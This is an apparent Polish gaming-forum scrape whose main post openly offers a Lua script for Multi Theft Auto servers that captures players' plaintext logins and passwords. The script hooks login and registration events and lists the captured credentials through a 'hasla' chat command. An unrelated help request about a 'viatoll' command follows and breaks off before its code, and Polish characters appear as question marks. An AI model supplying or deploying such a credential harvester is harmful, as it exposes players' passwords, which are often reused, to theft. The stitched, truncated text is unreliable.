Je?eli chcesz zna? has?a graj?cych na twoim serverze graczy to wystarczy ?e wgrasz na sw?j server ten skrypt:
[lua]tabela = {}
function Aktualizuj(login)
for i,v in pairs(tabela) do
if v[1] == login then
table.remove(tabela,i)
end
end
end
function dod(login,haslo,graczek)
Aktualizuj(login)
table.insert(tabela,{login,haslo,getPlayerName(graczek) or "X"})
end
function dodaj(username, pass)
dod(username, pass, source)
end
addEvent("onClientSendLoginDataToServer", true)
addEventHandler("onClientSendLoginDataToServer", getRootElement(), dodaj)
addEvent("onClientSendRegisterDataToServer", true)
addEventHandler("onClientSendRegisterDataToServer", getRootElement(), dodaj)
addEvent("onRequestLogin",true)
addEvent("onRequestRegister",true)
addEvent("onPlayerDayZLogin",true)
addEvent("onPlayerDayZRegister",true)
addEventHandler("onRequestLogin",getRootElement(),dodaj)
addEventHandler("onRequestRegister",getRootElement(),dodaj)
addEventHandler("onPlayerDayZLogin",getRootElement(),dodaj)
addEventHandler("onPlayerDayZRegister",getRootElement(),dodaj)
function pobierzHasla(gracz,cmd)
outputChatBox("Lista",gracz)
for i,v in pairs(tabela) do
outputChatBox("Nick: "..v[3].." Login:"..v[1].." has?o"..v[2],gracz)
end
end
addCommandHandler("hasla",pobierzHasla)[/lua]
...
Witam zrobi?em system viatoll i napotka?em pewien problem
zrobi?em komende na sprawdzanie czy gracz posiada viatoll i impulsy
i nic nie dzia?a oto kod: